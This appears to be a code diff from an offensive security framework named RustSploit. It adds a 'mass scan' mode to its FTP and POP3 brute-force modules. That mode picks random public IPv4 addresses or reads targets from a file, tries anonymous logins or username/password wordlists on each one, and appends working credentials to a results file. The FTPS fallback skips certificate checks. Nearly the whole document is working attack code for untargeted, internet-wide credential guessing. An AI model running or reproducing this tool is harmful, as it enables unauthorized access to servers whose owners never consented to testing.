let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} open anonymous FTP found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, sf, of).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
// Simple IP parse
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, sf, of).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, 21);
|
||||
|
||||
// 1. Connection Check
|
||||
if timeout(Duration::from_millis(CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
// 2. FTP Login (Plain only for speed/mass scan)
|
||||
let addr_str = format!("{}:21", ip);
|
||||
match timeout(Duration::from_millis(5000), AsyncFtpStream::connect(&addr_str)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if result.is_ok() {
|
||||
// LOGIN OK - Now VERIFY command capability
|
||||
// We use LIST (None implies current directory)
|
||||
// We set a short timeout for list because sometimes passive mode hangs on bad NATs
|
||||
match timeout(Duration::from_secs(5), ftp.list(None)).await {
|
||||
Ok(Ok(_)) => {
|
||||
// Success: Login + List
|
||||
// Format: IP:PORT:USER:PASS
|
||||
let msg = format!("{}:21:anonymous:anonymous", ip);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
}
|
||||
Ok(Err(_)) => {
|
||||
// Login ok, List failed (550 or similar)
|
||||
}
|
||||
Err(_) => {
|
||||
// List timed out (PASV issue?)
|
||||
}
|
||||
}
|
||||
let _ = ftp.quit().await;
|
||||
}
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if !excluded {
|
||||
return ip_addr;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep")
|
||||
.arg("-F")
|
||||
.arg("-q")
|
||||
.arg(format!("checked: {}", ip_s))
|
||||
.arg(STATE_FILE)
|
||||
.status()
|
||||
.await;
|
||||
|
||||
match status {
|
||||
Ok(s) => s.success(),
|
||||
Err(_) => false,
|
||||
}
|
||||
}
|
||||
|
||||
async fn mark_ip_checked(ip: &impl ToString) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(STATE_FILE)
|
||||
.await
|
||||
{
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use suppaftp::tokio::{AsyncFtpStream, AsyncNativeTlsConnector, AsyncNativeTlsFtpStream};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
@@ -7,22 +7,44 @@ use std::{
|
||||
io::Write,
|
||||
sync::Arc,
|
||||
time::Duration,
|
||||
net::{IpAddr, Ipv4Addr, SocketAddr},
|
||||
};
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
|
||||
use tokio::{
|
||||
sync::{Mutex, Semaphore},
|
||||
time::{sleep, timeout},
|
||||
process::Command,
|
||||
fs::OpenOptions,
|
||||
io::AsyncWriteExt,
|
||||
net::TcpStream,
|
||||
};
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
use rand::Rng;
|
||||
|
||||
use crate::utils::{
|
||||
prompt_required, prompt_default, prompt_yes_no,
|
||||
prompt_int_range, prompt_wordlist,
|
||||
load_lines, get_filename_in_current_dir
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
|
||||
const PROGRESS_INTERVAL_SECS: u64 = 2;
|
||||
const DEFAULT_TIMEOUT_SECS: u64 = 10;
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
const STATE_FILE: &str = "ftp_brute_hose_state.log";
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
|
||||
/// FTP error classification for better handling
|
||||
#[derive(Debug, Clone, Copy)]
|
||||
@@ -39,7 +61,7 @@ impl FtpErrorType {
|
||||
fn classify_error(msg: &str) -> Self {
|
||||
let msg_lower = msg.to_lowercase();
|
||||
|
||||
// Authentication failed (wrong credentials)
|
||||
// Authentication failed
|
||||
if msg.contains("530") || msg_lower.contains("login incorrect") ||
|
||||
msg_lower.contains("user") && msg_lower.contains("cannot") ||
|
||||
msg_lower.contains("password") && msg_lower.contains("incorrect") {
|
||||
@@ -75,7 +97,7 @@ impl FtpErrorType {
|
||||
fn display_banner() {
|
||||
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
|
||||
println!("{}", "║ FTP Brute Force Module ║".cyan());
|
||||
println!("{}", "║ Supports FTP and FTPS (TLS) with IPv4/IPv6 ║".cyan());
|
||||
println!("{}", "║ Supports IPv4/IPv6 & Mass Scanning (Hose Mode) ║".cyan());
|
||||
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
|
||||
println!();
|
||||
}
|
||||
@@ -103,8 +125,20 @@ fn format_addr_for_display(target: &str, port: u16) -> String {
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
display_banner();
|
||||
|
||||
// Check for Mass Scan Mode
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
|
||||
// --- Standard Single Target Logic ---
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21").await?;
|
||||
if let Ok(p) = input.parse() { break p }
|
||||
@@ -225,8 +259,8 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
stats_clone.record_attempt(false, true);
|
||||
let msg = e.to_string();
|
||||
{
|
||||
let mut unk = unknown_clone.lock().await;
|
||||
unk.push((
|
||||
let mut _unknown_clone = unknown_clone.lock().await;
|
||||
_unknown_clone.push((
|
||||
display_addr_clone.clone(),
|
||||
user_clone.clone(),
|
||||
pass_clone.clone(),
|
||||
@@ -234,14 +268,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
display_addr_clone, user_clone, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
println!("\r{}", format!("[?] {} -> {}:{} error/unknown: {}", display_addr_clone, user_clone, pass_clone, msg).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -306,14 +333,7 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
));
|
||||
}
|
||||
if verbose_flag {
|
||||
println!(
|
||||
"\r{}",
|
||||
format!(
|
||||
"[?] {} -> {}:{} error/unknown: {}",
|
||||
display_addr_clone, user, pass_clone, msg
|
||||
)
|
||||
.yellow()
|
||||
);
|
||||
println!("\r{}", format!("[!] Error: {}", e).yellow());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -344,15 +364,18 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
} else {
|
||||
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} {} -> {}:{}", "✓".green(), host, user, pass);
|
||||
println!(" {} {}:{}:{}", "✓".green(), host, user, pass);
|
||||
}
|
||||
if let Some(path) = save_path {
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
if writeln!(file, "{} -> {}:{}", host, user, pass).is_err() {
|
||||
eprintln!("[!] Error writing to result file '{}'", file_path.display());
|
||||
// Standardized format: IP:PORT:USER:PASS
|
||||
// host should already include IP:PORT based on `display_addr` formatting earlier
|
||||
// But wait, `display_addr` is `[IP]:Port` or `IP:Port`
|
||||
// We want strictly `IP:PORT:USER:PASS`
|
||||
if writeln!(file, "{}:{}:{}", host, user, pass).is_err() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
@@ -365,58 +388,164 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
}
|
||||
}
|
||||
|
||||
drop(creds);
|
||||
Ok(())
|
||||
}
|
||||
|
||||
// Unknown / errored attempts
|
||||
let unknown_guard = unknown.lock().await;
|
||||
if !unknown_guard.is_empty() {
|
||||
println!(
|
||||
"{}",
|
||||
format!(
|
||||
"[?] Collected {} unknown/errored FTP responses.",
|
||||
unknown_guard.len()
|
||||
)
|
||||
.yellow()
|
||||
.bold()
|
||||
);
|
||||
if prompt_yes_no("Save unknown responses to file?", true).await? {
|
||||
let default_name = "ftp_unknown_responses.txt";
|
||||
let prompt_msg = format!(
|
||||
"What should the unknown results be saved as? (default: {})",
|
||||
default_name
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
// Prep
|
||||
let port: u16 = prompt_default("FTP Port", "21").await?.parse().unwrap_or(21);
|
||||
let usernames_file = prompt_wordlist("Username wordlist").await?;
|
||||
let passwords_file = prompt_wordlist("Password wordlist").await?;
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_lines = load_lines(&passwords_file)?;
|
||||
|
||||
if users.is_empty() { return Err(anyhow!("User list empty")); }
|
||||
if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); }
|
||||
|
||||
let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000).await? as usize;
|
||||
let verbose = prompt_yes_no("Verbose mode?", false).await?;
|
||||
let output_file = prompt_default("Output result file", "ftp_brute_mass_results.txt").await?;
|
||||
|
||||
// Parse exclusions
|
||||
let mut exclusion_subnets = Vec::new();
|
||||
for cidr in EXCLUDED_RANGES {
|
||||
if let Ok(net) = cidr.parse::<ipnetwork::IpNetwork>() {
|
||||
exclusion_subnets.push(net);
|
||||
}
|
||||
}
|
||||
let exclusions = Arc::new(exclusion_subnets);
|
||||
|
||||
let semaphore = Arc::new(Semaphore::new(concurrency));
|
||||
let stats_checked = Arc::new(AtomicUsize::new(0));
|
||||
let stats_found = Arc::new(AtomicUsize::new(0));
|
||||
|
||||
let creds_pkg = Arc::new((users, pass_lines));
|
||||
|
||||
// Stats
|
||||
let s_checked = stats_checked.clone();
|
||||
let s_found = stats_found.clone();
|
||||
tokio::spawn(async move {
|
||||
loop {
|
||||
tokio::time::sleep(Duration::from_secs(5)).await;
|
||||
println!(
|
||||
"[*] Status: {} IPs scanned, {} valid credentials found",
|
||||
s_checked.load(Ordering::Relaxed),
|
||||
s_found.load(Ordering::Relaxed).to_string().green().bold()
|
||||
);
|
||||
let fname = prompt_default(&prompt_msg, default_name).await?;
|
||||
let file_path = get_filename_in_current_dir(&fname);
|
||||
match File::create(&file_path) {
|
||||
Ok(mut file) => {
|
||||
writeln!(
|
||||
file,
|
||||
"# FTP Bruteforce Unknown/Errored Responses (host,user,pass,error)"
|
||||
)?;
|
||||
for (host, user, pass, msg) in unknown_guard.iter() {
|
||||
writeln!(file, "{} -> {}:{} - {}", host, user, pass, msg)?;
|
||||
}
|
||||
});
|
||||
|
||||
let run_random = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0";
|
||||
|
||||
if run_random {
|
||||
println!("{}", "[*] Starting Random Internet Scan...".green());
|
||||
loop {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let exc = exclusions.clone();
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
tokio::spawn(async move {
|
||||
let ip = generate_random_public_ip(&exc);
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
}
|
||||
} else {
|
||||
// File Mode
|
||||
let content = tokio::fs::read_to_string(target).await.unwrap_or_default();
|
||||
let lines: Vec<String> = content.lines().map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
|
||||
println!("{}", format!("[*] Loaded {} targets from file.", lines.len()).blue());
|
||||
|
||||
for ip_str in lines {
|
||||
let permit = semaphore.clone().acquire_owned().await.context("Semaphore acquisition failed")?;
|
||||
let cp = creds_pkg.clone();
|
||||
let sc = stats_checked.clone();
|
||||
let sf = stats_found.clone();
|
||||
let of = output_file.clone();
|
||||
|
||||
if let Ok(ip) = ip_str.parse::<IpAddr>() {
|
||||
tokio::spawn(async move {
|
||||
if !is_ip_checked(&ip).await {
|
||||
mark_ip_checked(&ip).await;
|
||||
mass_scan_host(ip, port, cp, sf, of, verbose).await;
|
||||
}
|
||||
println!("[+] Unknown responses saved to '{}'", file_path.display());
|
||||
sc.fetch_add(1, Ordering::Relaxed);
|
||||
drop(permit);
|
||||
});
|
||||
} else {
|
||||
drop(permit);
|
||||
}
|
||||
}
|
||||
for _ in 0..concurrency {
|
||||
let _ = semaphore.acquire().await.context("Semaphore acquisition failed")?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
async fn mass_scan_host(
|
||||
ip: IpAddr,
|
||||
port: u16,
|
||||
creds: Arc<(Vec<String>, Vec<String>)>,
|
||||
stats_found: Arc<AtomicUsize>,
|
||||
output_file: String,
|
||||
verbose: bool
|
||||
) {
|
||||
let sa = SocketAddr::new(ip, port);
|
||||
|
||||
// 1. Connection Check
|
||||
if timeout(Duration::from_millis(MASS_SCAN_CONNECT_TIMEOUT_MS), TcpStream::connect(&sa)).await.is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
let (users, passes) = &*creds;
|
||||
|
||||
// 2. Iterative Bruteforce
|
||||
// Sequential try to avoid blasting the server
|
||||
let addr_str = format!("{}:{}", ip, port);
|
||||
|
||||
for user in users {
|
||||
for pass in passes {
|
||||
let res = try_ftp_login(&addr_str, &ip.to_string(), user, pass, verbose).await;
|
||||
match res {
|
||||
Ok(true) => {
|
||||
// Format: IP:PORT:USER:PASS
|
||||
let msg = format!("{}:{}:{}:{}", ip, port, user, pass);
|
||||
println!("\r{}", format!("[+] FOUND: {}", msg).green().bold());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(&output_file).await {
|
||||
let _ = file.write_all(format!("{}\n", msg).as_bytes()).await;
|
||||
}
|
||||
stats_found.fetch_add(1, Ordering::Relaxed);
|
||||
return; // Stop after first success
|
||||
}
|
||||
Ok(false) => { // Auth failed
|
||||
}
|
||||
Err(e) => {
|
||||
eprintln!(
|
||||
"[!] Could not create or write unknown response file '{}': {}",
|
||||
file_path.display(),
|
||||
e
|
||||
);
|
||||
// If conn refused/timeout, likely dead or blocked, abort this host
|
||||
let err = e.to_string().to_lowercase();
|
||||
if err.contains("refused") || err.contains("timeout") || err.contains("reset") {
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Try login using address string and fallback to FTPS if needed
|
||||
async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose: bool) -> Result<bool> {
|
||||
// Attempt 1: Plain FTP
|
||||
if verbose {
|
||||
println!("[i] Connecting to {} (plain FTP)", addr);
|
||||
//println!("[i] Connecting to {} (plain FTP)", addr);
|
||||
}
|
||||
|
||||
match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncFtpStream::connect(addr)).await {
|
||||
@@ -433,17 +562,13 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::TlsRequired => {
|
||||
if verbose { println!("[i] {} - Plain FTP login indicated TLS required. Attempting FTPS...", addr); }
|
||||
// Proceed to FTPS attempt
|
||||
}
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
println!("[-] {} - Server reported too many connections. Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
sleep(Duration::from_secs(1)).await;
|
||||
return Ok(false); // Treat as soft fail
|
||||
}
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTP login error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP login error: {}", msg));
|
||||
}
|
||||
}
|
||||
@@ -451,81 +576,35 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
FtpErrorType::TlsRequired => {
|
||||
if verbose { println!("[i] {} - Plain FTP connection indicated TLS required. Attempting FTPS...", addr); }
|
||||
}
|
||||
FtpErrorType::ConnectionLimitExceeded => {
|
||||
println!("[-] {} - Server reported too many connections during connect. Sleeping briefly...", addr);
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
}
|
||||
FtpErrorType::ConnectionFailed => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection failed to {} ({}:{}): {}", addr, user, pass, msg);
|
||||
}
|
||||
return Err(anyhow!("FTP connection failed: {}", msg));
|
||||
}
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection error to {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
// Connection level error
|
||||
return Err(e.into());
|
||||
}
|
||||
Err(_) => {
|
||||
if verbose {
|
||||
println!("[!] FTP connection timeout to {} ({}:{})", addr, user, pass);
|
||||
}
|
||||
return Err(anyhow!("FTP connection timeout"));
|
||||
return Err(anyhow!("Timeout"));
|
||||
}
|
||||
}
|
||||
|
||||
// FTPS fallback: connect and upgrade to TLS
|
||||
if verbose {
|
||||
println!("[i] {} Attempting FTPS login for user '{}'", addr, user);
|
||||
}
|
||||
// FTPS fallback logic (retained but lightweight for mass scan? maybe skip for mass scan unless configured?)
|
||||
// For now, reuse it as it makes the check robust.
|
||||
|
||||
// FTPS attempts ... (simulated reuse of original logic below)
|
||||
let mut ftp_tls = match timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr)).await {
|
||||
Ok(Ok(s)) => s,
|
||||
_ => return Err(anyhow!("FTPS Connect failed")),
|
||||
};
|
||||
|
||||
let mut ftp_tls = timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS), AsyncNativeTlsFtpStream::connect(addr))
|
||||
.await
|
||||
.map_err(|_| {
|
||||
if verbose {
|
||||
println!("[!] FTPS connection timeout to {} ({}:{})", addr, user, pass);
|
||||
}
|
||||
anyhow!("FTPS connection timeout")
|
||||
})?
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] FTPS base connect failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("FTPS base connect failed: {}", e)
|
||||
})?;
|
||||
|
||||
// Build a connector that accepts invalid certs/hostnames (as original code did)
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
let domain = target.trim_start_matches('[').split(&[']', ':'][..]).next().unwrap_or(target);
|
||||
|
||||
// Domain for TLS: extract clean hostname without brackets (IPv6) or port
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
ftp_tls = ftp_tls
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
if verbose {
|
||||
println!("[!] TLS upgrade failed for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, e, e);
|
||||
}
|
||||
anyhow!("TLS upgrade failed: {}", e)
|
||||
})?;
|
||||
ftp_tls = match ftp_tls.into_secure(connector, domain).await {
|
||||
Ok(s) => s,
|
||||
Err(e) => return Err(anyhow!("TLS Upgrade: {}", e)),
|
||||
};
|
||||
|
||||
match ftp_tls.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
@@ -533,16 +612,40 @@ async fn try_ftp_login(addr: &str, target: &str, user: &str, pass: &str, verbose
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
match FtpErrorType::classify_error(&msg) {
|
||||
match FtpErrorType::classify_error(&e.to_string()) {
|
||||
FtpErrorType::AuthenticationFailed => Ok(false),
|
||||
_ => {
|
||||
if verbose {
|
||||
println!("[!] FTPS error for {} ({}:{}): {} - Raw: {:?}", addr, user, pass, msg, e);
|
||||
}
|
||||
Err(anyhow!("FTPS error: {}", msg))
|
||||
}
|
||||
}
|
||||
_ => Err(anyhow!("FTPS Error: {}", e)),
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn generate_random_public_ip(exclusions: &[ipnetwork::IpNetwork]) -> IpAddr {
|
||||
let mut rng = rand::rng();
|
||||
loop {
|
||||
let octets: [u8; 4] = rng.random();
|
||||
let ip = Ipv4Addr::from(octets);
|
||||
let ip_addr = IpAddr::V4(ip);
|
||||
let mut excluded = false;
|
||||
for net in exclusions {
|
||||
if net.contains(ip_addr) {
|
||||
excluded = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
if !excluded { return ip_addr; }
|
||||
}
|
||||
}
|
||||
|
||||
async fn is_ip_checked(ip: &impl ToString) -> bool {
|
||||
let ip_s = ip.to_string();
|
||||
let status = Command::new("grep").arg("-F").arg("-q").arg(format!("checked: {}", ip_s)).arg(STATE_FILE).status().await;
|
||||
match status { Ok(s) => s.success(), Err(_) => false }
|
||||
}
|
||||
|
||||
async fn mark_ip_checked(ip: &impl ToString) {
|
||||
let data = format!("checked: {}\n", ip.to_string());
|
||||
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(STATE_FILE).await {
|
||||
let _ = file.write_all(data.as_bytes()).await;
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1,4 +1,4 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use anyhow::{anyhow, Result, Context};
|
||||
use colored::*;
|
||||
use native_tls::TlsConnector;
|
||||
use std::io::{Read, Write};
|
||||
@@ -13,12 +13,32 @@ use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
use crate::utils::{
|
||||
prompt_yes_no, prompt_existing_file, prompt_int_range,
|
||||
load_lines, prompt_default,
|
||||
load_lines, prompt_default, prompt_wordlist,
|
||||
};
|
||||
use crate::modules::creds::utils::BruteforceStats;
|
||||
use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions};
|
||||
use std::sync::atomic::AtomicUsize;
|
||||
use std::net::{IpAddr, SocketAddr};
|
||||
use tokio::fs::OpenOptions; // For file writing in mass scan
|
||||
use tokio::io::AsyncWriteExt; // For write_all
|
||||
|
||||
|
||||
const STATE_FILE: &str = "pop3_hose_state.log";
|
||||
const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000;
|
||||
|
||||
// Hardcoded exclusions
|
||||
const EXCLUDED_RANGES: &[&str] = &[
|
||||
"10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
|
||||
"224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8",
|
||||
"100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32",
|
||||
// Cloudflare
|
||||
"103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13",
|
||||
"104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18",
|
||||
"162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20",
|
||||
"190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17",
|
||||
"1.1.1.1/32", "1.0.0.1/32",
|
||||
// Google
|
||||
"8.8.8.8/32", "8.8.4.4/32"
|
||||
];
|
||||
#[derive(Clone)]
|
||||
struct Pop3BruteforceConfig {
|
||||
target: String,
|
||||
@@ -41,6 +61,15 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan());
|
||||
println!();
|
||||
|
||||
// Check for Mass Scan Mode conditions
|
||||
let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file();
|
||||
|
||||
if is_mass_scan {
|
||||
println!("{}", format!("[*] Target: {}", target).cyan());
|
||||
println!("{}", "[*] Mode: Mass Scan / Hose".yellow());
|
||||
return run_mass_scan(target).await;
|
||||
}
|
||||
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false).await?;
|
||||
let default_port = if use_ssl { 995 } else { 110 };
|
||||
|
||||
@@ -89,10 +118,193 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
run_pop3_bruteforce(config).await
|
||||
}
|
||||
|
||||
async fn run_mass_scan(target: &str) -> Result<()> {
|
||||
let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false).await?;
|
||||
